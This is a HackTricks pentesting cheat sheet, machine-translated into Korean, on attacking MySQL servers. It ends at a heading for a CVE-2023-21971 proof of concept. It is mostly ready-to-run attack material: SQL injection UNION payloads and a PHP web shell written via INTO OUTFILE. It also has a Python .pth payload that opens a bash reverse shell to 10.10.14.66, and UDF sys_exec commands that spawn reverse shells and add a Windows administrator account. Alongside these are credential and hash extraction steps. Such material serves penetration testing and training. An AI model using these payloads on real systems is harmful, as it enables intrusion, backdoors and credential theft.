3306 - Pentesting Mysql

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

MySQL์€ ๋ฌด๋ฃŒ๋กœ ์ œ๊ณต๋˜๋Š” ์˜คํ”ˆ ์†Œ์Šค **Relational Database Management System (RDBMS)**๋กœ ์„ค๋ช…๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” **Structured Query Language (SQL)**์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์ž‘๋™ํ•˜๋ฉฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๊ด€๋ฆฌ ๋ฐ ์กฐ์ž‘์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ํฌํŠธ: 3306

3306/tcp open  mysql

์—ฐ๊ฒฐ

๋กœ์ปฌ

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

์›๊ฒฉ

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

์™ธ๋ถ€ Enumeration

์ผ๋ถ€ enumeration ์ž‘์—…์€ valid credentials๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

์ž„์˜์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ฐ์ดํ„ฐ ์“ฐ๊ธฐ

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL ๋ช…๋ น์–ด

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL ๊ถŒํ•œ ์—ด๊ฑฐ

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

You can see in the docs the meaning of each privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

INTO OUTFILE โ†’ Python .pth RCE (์‚ฌ์ดํŠธ๋ณ„ ๊ตฌ์„ฑ ํ›…)

๊ณ ์ „์ ์ธ INTO OUTFILE ์›์‹œ ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜๋ฉด ์ดํ›„์— Python ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋Œ€์ƒ์—์„œ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  1. INTO OUTFILE์„ ์‚ฌ์šฉํ•ด site.py์— ์˜ํ•ด ์ž๋™์œผ๋กœ ๋กœ๋“œ๋˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ(์˜ˆ: .../lib/python3.10/site-packages/) ์•ˆ์— ์ปค์Šคํ…€ .pth ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  2. .pth ํŒŒ์ผ์€ import ๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋‹จ ํ•œ ์ค„์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ ๋’ค์— ์˜ค๋Š” ์ž„์˜์˜ Python ์ฝ”๋“œ๊ฐ€ ์ธํ„ฐํ”„๋ฆฌํ„ฐ๊ฐ€ ์‹œ์ž‘๋  ๋•Œ๋งˆ๋‹ค ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  3. ์ธํ„ฐํ”„๋ฆฌํ„ฐ๊ฐ€ CGI ์Šคํฌ๋ฆฝํŠธ(์˜ˆ: shebang์ด #!/bin/python์ธ /cgi-bin/ml-draw.py)์— ์˜ํ•ด ์•”๋ฌต์ ์œผ๋กœ ์‹คํ–‰๋  ๋•Œ, ํŽ˜์ด๋กœ๋“œ๋Š” ์›น ์„œ๋ฒ„ ํ”„๋กœ์„ธ์Šค์™€ ๋™์ผํ•œ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค(FortiWeb๋Š” ์ด๋ฅผ root๋กœ ์‹คํ–‰ํ•จ โ†’ ์‚ฌ์ „ ์ธ์ฆ ์ „์ฒด RCE).

์˜ˆ์‹œ .pth ํŽ˜์ด๋กœ๋“œ(ํ•œ ์ค„, ์ตœ์ข… SQL ํŽ˜์ด๋กœ๋“œ์—๋Š” ๊ณต๋ฐฑ์„ ํฌํ•จํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ hex/UNHEX() ๋˜๋Š” ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Œ):

import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

ํŒŒ์ผ์„ UNION ์ฟผ๋ฆฌ๋กœ ์ƒ์„ฑํ•˜๋Š” ์˜ˆ (๊ณต๋ฐฑ ๋ฌธ์ž๋ฅผ /**/๋กœ ๋Œ€์ฒดํ•˜์—ฌ sscanf("%128s")์˜ ๊ณต๋ฐฑ ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•˜๊ณ  ์ „์ฒด ๊ธธ์ด๋ฅผ โ‰ค128 ๋ฐ”์ดํŠธ๋กœ ์œ ์ง€):

'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

์ค‘์š”ํ•œ ์ œํ•œ์‚ฌํ•ญ ๋ฐ ์šฐํšŒ ๋ฐฉ๋ฒ•:

  • INTO OUTFILE ๋ฎ์–ด์“ธ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค; ์ƒˆ ํŒŒ์ผ๋ช…์„ ์„ ํƒํ•˜์„ธ์š”.
  • ํŒŒ์ผ ๊ฒฝ๋กœ๋Š” MySQLโ€™s CWD ๊ธฐ์ค€์œผ๋กœ ํ•ด์„๋˜๋ฏ€๋กœ, ../../๋ฅผ ์ ‘๋‘์‚ฌ๋กœ ์‚ฌ์šฉํ•˜๋ฉด ๊ฒฝ๋กœ๋ฅผ ๋‹จ์ถ•ํ•˜๊ณ  ์ ˆ๋Œ€ ๊ฒฝ๋กœ ์ œํ•œ์„ ์šฐํšŒํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ์ž ์ž…๋ ฅ์ด %128s(๋˜๋Š” ์œ ์‚ฌํ•œ ํ˜•์‹)๋กœ ์ถ”์ถœ๋˜๋Š” ๊ฒฝ์šฐ, ๊ณต๋ฐฑ์ด ์žˆ์œผ๋ฉด ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ž˜๋ฆฝ๋‹ˆ๋‹ค; ๊ณต๋ฐฑ ๋Œ€์‹  MySQL ์ฃผ์„ ์‹œํ€€์Šค /**/ ๋˜๋Š” /*!*/๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š” MySQL ์‚ฌ์šฉ์ž๋Š” FILE ๊ถŒํ•œ์ด ํ•„์š”ํ•˜์ง€๋งŒ, ๋งŽ์€ ์–ดํ”Œ๋ผ์ด์–ธ์Šค(์˜ˆ: FortiWeb)์—์„œ๋Š” ์„œ๋น„์Šค๊ฐ€ root๋กœ ์‹คํ–‰๋˜์–ด ๊ฑฐ์˜ ๋ชจ๋“  ๊ณณ์— ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

.pth์„ ๋ฐฐ์น˜ํ•œ ํ›„, python ์ธํ„ฐํ”„๋ฆฌํ„ฐ๊ฐ€ ์ฒ˜๋ฆฌํ•˜๋Š” ์ž„์˜์˜ CGI๋ฅผ ์š”์ฒญํ•˜๋ฉด ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Python ํ”„๋กœ์„ธ์Šค๋Š” ์•…์„ฑ .pth๋ฅผ ์ž๋™์œผ๋กœ importํ•˜์—ฌ shell payload๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL arbitrary read file by client

์‹ค์ œ๋กœ load data local into a table๋ฅผ ์‚ฌ์šฉํ•ด ํ…Œ์ด๋ธ”๋กœ ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๋ ค๊ณ  ํ•˜๋ฉด, MySQL ๋˜๋Š” MariaDB ์„œ๋ฒ„๋Š” ํ•ด๋‹น content of a file์„ client to read itํ•˜์—ฌ ๊ทธ ๋‚ด์šฉ์„ ์ „์†กํ•˜๋„๋ก ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, mysql client๋ฅผ ์กฐ์ž‘ํ•ด ์ž์‹ ์˜ MySQL server์— ์—ฐ๊ฒฐ์‹œํ‚ค๋ฉด arbitrary files๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋‹ค์Œ์˜ ๊ฒฝ์šฐ์— ์ด๋Ÿฌํ•œ ๋™์ž‘์ด ๋ฐœ์ƒํ•จ์— ์œ ์˜ํ•˜์„ธ์š”:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(โ€œlocalโ€ ๋‹จ์–ด์— ์ฃผ๋ชฉํ•˜์„ธ์š”)\ โ€œlocalโ€œ์„ ๋นผ๋ฉด ๋‹ค์Œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

์ดˆ๊ธฐ PoC: https://github.com/allyshka/Rogue-MySql-Server
์ด ๋…ผ๋ฌธ์—์„œ๋Š” ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์™„์ „ํ•œ ์„ค๋ช…๊ณผ ์ด๋ฅผ RCE๋กœ ํ™•์žฅํ•˜๋Š” ๋ฐฉ๋ฒ•๊นŒ์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://paper.seebug.org/1113/
์—ฌ๊ธฐ์—์„œ ๊ณต๊ฒฉ ๊ฐœ์š”๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

POST

Mysql ์‚ฌ์šฉ์ž

mysql์ด root๋กœ ์‹คํ–‰ ์ค‘์ด๋ผ๋ฉด ๋งค์šฐ ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnf์˜ ์œ„ํ—˜ํ•œ ์„ค์ •

MySQL ์„œ๋น„์Šค ๊ตฌ์„ฑ์—์„œ๋Š” ๋™์ž‘๊ณผ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ์ •์˜ํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ์„ค์ •์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

  • user ์„ค์ •์€ MySQL ์„œ๋น„์Šค๊ฐ€ ์‹คํ–‰๋  ๋•Œ ์‚ฌ์šฉํ•  ์‚ฌ์šฉ์ž ๊ณ„์ •์„ ์ง€์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • password ์„ค์ •์€ MySQL ์‚ฌ์šฉ์ž์— ์—ฐ๊ฒฐ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์„ค์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • **admin_address**๋Š” ๊ด€๋ฆฌ ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค์—์„œ TCP/IP ์—ฐ๊ฒฐ์„ ์ˆ˜์‹ ํ•˜๋Š” IP ์ฃผ์†Œ๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
  • debug ๋ณ€์ˆ˜๋Š” ํ˜„์žฌ์˜ ๋””๋ฒ„๊น… ๊ตฌ์„ฑ(๋กœ๊ทธ์— ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Œ)์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • **sql_warnings**๋Š” ๊ฒฝ๊ณ  ๋ฐœ์ƒ ์‹œ ๋‹จ์ผ ํ–‰ INSERT ๋ฌธ์— ๋Œ€ํ•ด ์ •๋ณด ๋ฌธ์ž์—ด์ด ์ƒ์„ฑ๋˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ œ์–ดํ•˜๋ฉฐ, ์ด ์ •๋ณด๋Š” ๋กœ๊ทธ์— ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • **secure_file_priv**๋Š” ๋ฐ์ดํ„ฐ ๊ฐ€์ ธ์˜ค๊ธฐ/๋‚ด๋ณด๋‚ด๊ธฐ ์ž‘์—…์˜ ๋ฒ”์œ„๋ฅผ ์ œํ•œํ•˜์—ฌ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค.

Privilege escalation

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

๋งŒ์•ฝ mysql server is running as root (๋˜๋Š” ๋” ๊ถŒํ•œ์ด ๋†’์€ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž)๋ผ๋ฉด ๋ช…๋ น์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” user defined functions๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  user defined ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•˜๋ ค๋ฉด mysql์ด ์‹คํ–‰ ์ค‘์ธ OS์šฉ library๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉํ•  ์•…์„ฑ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” sqlmap๊ณผ metasploit ๋‚ด๋ถ€์—์„œ locate "*lib_mysqludf_sys*" ๋ช…๋ น์œผ๋กœ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. .so ํŒŒ์ผ์€ linux ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ด๊ณ  .dll ํŒŒ์ผ์€ Windows ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค. ํ•„์š”ํ•œ ๊ฒƒ์„ ์„ ํƒํ•˜์„ธ์š”.

ํ•ด๋‹น ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์—†๋‹ค๋ฉด, ์ง์ ‘ ์ฐพ์•„๋ณด๊ฑฐ๋‚˜ ์ด linux C code๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ compile it inside the linux vulnerable machine ํ•˜์„ธ์š”:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ™•๋ณดํ–ˆ์œผ๋‹ˆ, ๊ถŒํ•œ์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž(root?)๋กœ Mysql์— ๋กœ๊ทธ์ธํ•˜๊ณ  ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ๋”ฐ๋ฅด์„ธ์š”:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

์œˆ๋„์šฐ

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Windows ํŒ: SQL์—์„œ NTFS ADS๋กœ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ƒ์„ฑ

NTFS์—์„œ๋Š” ํŒŒ์ผ write primitive๋งŒ ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ์—๋„ alternate data stream์„ ์‚ฌ์šฉํ•ด ๋””๋ ‰ํ„ฐ๋ฆฌ ์ƒ์„ฑ์„ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ classic UDF chain์ด plugin ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๊ธฐ๋Œ€ํ•˜์ง€๋งŒ ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ @@plugin_dir๊ฐ€ ์•Œ๋ ค์ ธ ์žˆ์ง€ ์•Š๊ฑฐ๋‚˜ ์ž ๊ฒจ ์žˆ๋‹ค๋ฉด, ๋จผ์ € ::$INDEX_ALLOCATION๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory

์ด๊ฒƒ์€ UDF drops์— ํ•„์š”ํ•œ ํด๋” ๊ตฌ์กฐ๋ฅผ ๋ถ€ํŠธ์ŠคํŠธ๋žฉํ•˜์—ฌ Windows stacks์—์„œ ์ œํ•œ๋œ SELECT ... INTO OUTFILE๋ฅผ ๋ณด๋‹ค ์™„์ „ํ•œ primitive๋กœ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

ํŒŒ์ผ์—์„œ MySQL ์ž๊ฒฉ ์ฆ๋ช… ์ถ”์ถœ

ํŒŒ์ผ /etc/mysql/debian.cnf ์•ˆ์—์„œ ์‚ฌ์šฉ์ž debian-sys-maint์˜ ํ‰๋ฌธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

cat /etc/mysql/debian.cnf

์ด ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ด mysql ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŒŒ์ผ: /var/lib/mysql/mysql/user.MYD ์•ˆ์—์„œ MySQL ์‚ฌ์šฉ์ž์˜ ๋ชจ๋“  ํ•ด์‹œ (๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋‚ด์˜ mysql.user์—์„œ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ๋“ค).

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

๋กœ๊น… ํ™œ์„ฑํ™”

๋‹ค์Œ ์ค„์˜ ์ฃผ์„์„ ํ•ด์ œํ•˜์—ฌ /etc/mysql/my.cnf ๋‚ด๋ถ€์—์„œ mysql ์ฟผ๋ฆฌ ๋กœ๊น…์„ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์œ ์šฉํ•œ ํŒŒ์ผ

๊ตฌ์„ฑ ํŒŒ์ผ

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Command History
  • ~/.mysql.history
  • Log Files
  • connections.log
  • update.log
  • common.log

๊ธฐ๋ณธ MySQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค/ํ…Œ์ด๋ธ”

ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS

HackTricks ์ž๋™ ๋ช…๋ น์–ด

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

2023-2025 ์ฃผ์š” ๋‚ด์šฉ (์‹ ๊ทœ)

JDBC propertiesTransform deserialization (CVE-2023-21971)

Connector/J <= 8.0.32๋ถ€ํ„ฐ, JDBC URL์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž(์˜ˆ: ์—ฐ๊ฒฐ ๋ฌธ์ž์—ด์„ ์š”๊ตฌํ•˜๋Š” ์„œ๋“œํŒŒํ‹ฐ ์†Œํ”„ํŠธ์›จ์–ด)๋Š” propertiesTransform ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ†ตํ•ด client ์ธก์—์„œ ์ž„์˜์˜ ํด๋ž˜์Šค๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ class-path์— ์กด์žฌํ•˜๋Š” gadget์ด ๋กœ๋“œ ๊ฐ€๋Šฅํ•˜๋ฉด, ์ด๋Š” remote code execution in the context of the JDBC client (pre-auth, ์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช…์ด ํ•„์š”ํ•˜์ง€ ์•Š์Œ)๋ฅผ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค. ์ตœ์†Œํ•œ์˜ PoC๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

